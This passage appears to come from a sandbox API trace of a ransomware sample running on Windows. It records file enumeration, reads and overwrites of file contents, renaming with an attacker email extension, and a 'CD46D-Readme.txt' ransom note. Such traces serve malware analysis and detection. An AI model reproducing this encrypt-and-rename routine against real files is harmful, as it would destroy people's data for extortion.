lpNumberOfBytesWritten=0xebdfe2c*=0x85b, lpOverlapped=0x0) returned 1 [0053.242] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441708 [0053.242] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429700 [0053.242] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429700) returned 1 [0053.242] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ab078) returned 1 [0053.242] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x979e870) returned 1 [0053.255] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a510) returned 1 [0053.255] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402888) returned 1 [0053.255] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2d) returned 0x40ab48 [0053.255] SetFilePointerEx (in: hFile=0xaf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.255] WriteFile (in: hFile=0xaf4, lpBuffer=0x441be0*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0xebdfe94, lpOverlapped=0x0 | out: lpBuffer=0x441be0*, lpNumberOfBytesWritten=0xebdfe94*=0x111, lpOverlapped=0x0) returned 1 [0053.526] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441be0) returned 1 [0053.526] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a790) returned 1 [0053.526] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429700) returned 1 [0053.526] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ab48) returned 1 [0053.526] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441708) returned 1 [0053.526] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edef8) returned 1 [0053.527] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edf48) returned 1 [0053.527] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edf70) returned 1 [0053.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x196d0f18 [0053.527] wcscpy (in: _Dest=0x196d0f18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\KMbG1QRB8_i6.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\KMbG1QRB8_i6.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\KMbG1QRB8_i6.m4a" [0053.527] wcscat (in: _Dest=0x196d0f18, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\KMbG1QRB8_i6.m4a.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\KMbG1QRB8_i6.m4a.mailto[2Hamlampampom@cock.li].cd46d" [0053.527] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\KMbG1QRB8_i6.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xebdfe4c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\KMbG1QRB8_i6.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x95d0f08 [0053.697] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0f08) returned 1 [0053.697] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49dcf0) returned 1 [0053.697] NtQueryInformationFile (in: FileHandle=0xaf4, IoStatusBlock=0xebdfe58, FileInformation=0xebdfe30, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xebdfe58, FileInformation=0xebdfe30) returned 0x0 [0053.697] NtSetInformationFile (FileHandle=0xaf4, IoStatusBlock=0xebdfe58, FileInformation=0xebdfe30, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.700] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196d0f18) returned 1 [0053.700] FlushFileBuffers (hFile=0xaf4) returned 1 [0053.702] CloseHandle (hObject=0xaf4) returned 1 [0053.702] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x96f8dd8 [0053.702] wcscpy (in: _Dest=0x96f8dd8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" [0053.702] wcscat (in: _Dest=0x96f8dd8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\CD46D-Readme.txt" [0053.703] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\cd46d-readme.txt")) returned 0x20 [0053.957] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f8dd8) returned 1 [0053.957] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45eb38) returned 1 Thread: id = 600 os_tid = 0x838 [0050.023] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x447dc0 [0050.023] wcscpy (in: _Dest=0x447dc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -" [0050.023] wcscat (in: _Dest=0x447dc0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\" [0050.023] wcscat (in: _Dest=0x447dc0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\*" [0050.023] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b91a0 [0050.024] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\*", lpFindFileData=0x4b91a0 | out: lpFindFileData=0x4b91a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcfe4c370, ftCreationTime.dwHighDateTime=0x1d4d45d, ftLastAccessTime.dwLowDateTime=0x3451a8a0, ftLastAccessTime.dwHighDateTime=0x1d4cac2, ftLastWriteTime.dwLowDateTime=0x3451a8a0, ftLastWriteTime.dwHighDateTime=0x1d4cac2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440920 [0050.024] wcscmp (_String1=".", _String2=".") returned 0 [0050.024] FindNextFileW (in: hFindFile=0x440920, lpFindFileData=0x4b91a0 | out: lpFindFileData=0x4b91a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcfe4c370, ftCreationTime.dwHighDateTime=0x1d4d45d, ftLastAccessTime.dwLowDateTime=0x3451a8a0, ftLastAccessTime.dwHighDateTime=0x1d4cac2, ftLastWriteTime.dwLowDateTime=0x3451a8a0, ftLastWriteTime.dwHighDateTime=0x1d4cac2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.024] wcscmp (_String1="..", _String2=".") returned 1 [0050.024] wcscmp (_String1="..", _String2="..") returned 0 [0050.024] FindNextFileW (in: hFindFile=0x440920, lpFindFileData=0x4b91a0 | out: lpFindFileData=0x4b91a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb1cad0, ftCreationTime.dwHighDateTime=0x1d4d18a, ftLastAccessTime.dwLowDateTime=0xe7d8e2a0, ftLastAccessTime.dwHighDateTime=0x1d4cb06, ftLastWriteTime.dwLowDateTime=0xe7d8e2a0, ftLastWriteTime.dwHighDateTime=0x1d4cb06, nFileSizeHigh=0x0, nFileSizeLow=0x1589c, dwReserved0=0x0, dwReserved1=0x0, cFileName="c3E_hx.wav", cAlternateFileName="")) returned 1 [0050.024] wcscmp (_String1="c3E_hx.wav", _String2=".") returned 1 [0050.024] wcscmp (_String1="c3E_hx.wav", _String2="..") returned 1 [0050.024] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x4386e8 [0050.024] wcscpy (in: _Dest=0x4386e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -" [0050.024] wcscat (in: _Dest=0x4386e8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\" [0050.024] wcscat (in: _Dest=0x4386e8, _Source="c3E_hx.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\c3E_hx.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\c3E_hx.wav" [0051.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4386e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x274 [0051.598] FindNextFileW (in: hFindFile=0x440920, lpFindFileData=0x4b91a0 | out: lpFindFileData=0x4b91a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa1792f0, ftCreationTime.dwHighDateTime=0x1d4c5d3, ftLastAccessTime.dwLowDateTime=0x6c5ce0f0, ftLastAccessTime.dwHighDateTime=0x1d4d11d, ftLastWriteTime.dwLowDateTime=0x6c5ce0f0, ftLastWriteTime.dwHighDateTime=0x1d4d11d, nFileSizeHigh=0x0, nFileSizeLow=0x12c11, dwReserved0=0x0, dwReserved1=0x0, cFileName="LPhwUpOrL.mp3", cAlternateFileName="LPHWUP~1.MP3")) returned 1 [0051.598] wcscmp (_String1="LPhwUpOrL.mp3", _String2=".") returned 1 [0051.598] wcscmp (_String1="LPhwUpOrL.mp3", _String2="..") returned 1 [0051.598] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x4ee658 [0051.598] wcscpy (in: _Dest=0x4ee658, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -" [0051.598] wcscat (in: _Dest=0x4ee658, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\" [0051.598] wcscat (in: _Dest=0x4ee658, _Source="LPhwUpOrL.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\LPhwUpOrL.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\LPhwUpOrL.mp3" [0051.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ee658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd78 [0051.599] FindNextFileW (in: hFindFile=0x440920, lpFindFileData=0x4b91a0 | out: lpFindFileData=0x4b91a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42c517f0, ftCreationTime.dwHighDateTime=0x1d4d2ba, ftLastAccessTime.dwLowDateTime=0x75e8fab0, ftLastAccessTime.dwHighDateTime=0x1d4c79e, ftLastWriteTime.dwLowDateTime=0x75e8fab0, ftLastWriteTime.dwHighDateTime=0x1d4c79e, nFileSizeHigh=0x0, nFileSizeLow=0x198b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shCN4ATU4.mp3", cAlternateFileName="SHCN4A~1.MP3")) returned 1 [0051.599] wcscmp (_String1="shCN4ATU4.mp3", _String2=".") returned 1 [0051.599] wcscmp (_String1="shCN4ATU4.mp3", _String2="..") returned 1 [0051.599] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x4ee6f8 [0051.599] wcscpy (in: _Dest=0x4ee6f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -" [0051.599] wcscat (in: _Dest=0x4ee6f8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\" [0051.599] wcscat (in: _Dest=0x4ee6f8, _Source="shCN4ATU4.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\shCN4ATU4.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\shCN4ATU4.mp3" [0051.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ee6f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd7c [0051.600] FindNextFileW (in: hFindFile=0x440920, lpFindFileData=0x4b91a0 | out: lpFindFileData=0x4b91a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42c517f0, ftCreationTime.dwHighDateTime=0x1d4d2ba, ftLastAccessTime.dwLowDateTime=0x75e8fab0, ftLastAccessTime.dwHighDateTime=0x1d4c79e, ftLastWriteTime.dwLowDateTime=0x75e8fab0, ftLastWriteTime.dwHighDateTime=0x1d4c79e, nFileSizeHigh=0x0, nFileSizeLow=0x198b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shCN4ATU4.mp3", cAlternateFileName="SHCN4A~1.MP3")) returned 0 [0051.600] FindClose (in: hFindFile=0x440920 | out: hFindFile=0x440920) returned 1 [0051.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b91a0) returned 1 [0051.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447dc0) returned 1 [0051.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ebb8) returned 1 Thread: id = 601 os_tid = 0x82c [0050.024] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x417c50 [0050.024] wcscpy (in: _Dest=0x417c50, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033" [0050.024] wcscat (in: _Dest=0x417c50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\" [0050.025] wcscat (in: _Dest=0x417c50, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\*" [0050.025] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b9408 [0050.025] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\*", lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440520 [0051.231] wcscmp (_String1=".", _String2=".") returned 0 [0051.232] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.232] wcscmp (_String1="..", _String2=".") returned 1 [0051.232] wcscmp (_String1="..", _String2="..") returned 0 [0051.232] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf09b00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf09b00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x2b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAClientPkgUI.dll", cAlternateFileName="VSTACL~1.DLL")) returned 1 [0051.232] wcscmp (_String1="VSTAClientPkgUI.dll", _String2=".") returned 1 [0051.232] wcscmp (_String1="VSTAClientPkgUI.dll", _String2="..") returned 1 [0051.232] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498e4100, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498e4100, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x7958, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProjectUI.dll", cAlternateFileName="VSTAPR~1.DLL")) returned 1 [0051.232] wcscmp (_String1="VSTAProjectUI.dll", _String2=".") returned 1 [0051.232] wcscmp (_String1="VSTAProjectUI.dll", _String2="..") returned 1 [0051.232] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498e4100, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498e4100, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x7958, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProjectUI.dll", cAlternateFileName="VSTAPR~1.DLL")) returned 0 [0051.232] FindClose (in: hFindFile=0x440520 | out: hFindFile=0x440520) returned 1 [0051.232] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b9408) returned 1 [0051.232] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417c50) returned 1 [0051.232] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446f68) returned 1 Thread: id = 602 os_tid = 0x570 [0050.025] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url")) returned 0x20 [0051.233] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url", dwFileAttributes=0x20) returned 1 [0060.652] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xc70 [0060.652] GetFileSizeEx (in: hFile=0xc70, lpFileSize=0xeb9fee4 | out: lpFileSize=0xeb9fee4*=236) returned 1 [0060.652] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4360c0 [0060.652] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436160 [0060.652] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4361d8 [0060.652] NtQuerySystemTime (in: CurrentTime=0xeb9fe44 | out: CurrentTime=0xeb9fe44*=132174898246296000) returned 0x0 [0060.652] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x7f0be89a [0060.652] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x37e9922e [0060.652] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x4997ca08 [0060.652] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x1b8436a9 [0060.652] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x754facb2 [0060.652] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x4f462c42 [0060.652] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x7ffb0677 [0060.652] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x19032a6d [0060.652] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x7642515a [0060.652] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x3b19f729 [0060.652] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x3f7b91b0 [0060.652] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x5353cb29 [0060.652] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x4842f19f [0060.652] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x1958dbed [0060.652] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x408a89b0 [0060.652] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x3aea0e64 [0060.652] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x3ee9bca9 [0060.653] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x4aef3cf7 [0060.653] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x582c9ed9 [0060.653] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x474a874f [0060.653] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x79b433db [0060.653] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x1b54c8e2 [0060.653] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x158182cf [0060.653] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x41550944 [0060.653] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x5ff84dab [0060.653] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x16400c0c [0060.653] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x1409dfdc [0060.653] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x53106bbe [0060.653] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x2f56475f [0060.653] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x773c47b7 [0060.653] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x4b4d511 [0060.653] RtlRandomEx (in: Seed=0xeb9fe50 | out: Seed=0xeb9fe50) returned 0x36255812 [0060.666] ReadFile (in: hFile=0xc70, lpBuffer=0x199d7138, nNumberOfBytesToRead=0xec, lpNumberOfBytesRead=0xeb9fe40, lpOverlapped=0x0 | out: lpBuffer=0x199d7138*, lpNumberOfBytesRead=0xeb9fe40*=0xec, lpOverlapped=0x0) returned 1 [0060.667] SetFilePointerEx (in: hFile=0xc70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.667] WriteFile (in: hFile=0xc70, lpBuffer=0x199e3940*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xeb9fe3c, lpOverlapped=0x0 | out: lpBuffer=0x199e3940*, lpNumberOfBytesWritten=0xeb9fe3c*=0xec, lpOverlapped=0x0) returned 1 [0062.612] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf280 [0062.612] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf2a8 [0062.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf2a8) returned 1 [0062.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x199e3940) returned 1 [0063.243] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x199d7138) returned 1 [0063.243] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a768) returned 1 [0063.243] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c870) returned 1 [0063.243] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x33) returned 0x4a66a0 [0063.243] SetFilePointerEx (in: hFile=0xc70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.243] WriteFile (in: hFile=0xc70, lpBuffer=0x5efe4d0*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0xeb9fea4, lpOverlapped=0x0 | out: lpBuffer=0x5efe4d0*, lpNumberOfBytesWritten=0xeb9fea4*=0x117, lpOverlapped=0x0) returned 1 [0063.260] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe4d0) returned 1 [0063.260] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a66e0) returned 1 [0063.260] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435f58) returned 1 [0063.260] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a66a0) returned 1 [0063.260] RtlFreeHeap (HeapHandle=0x3f0000, 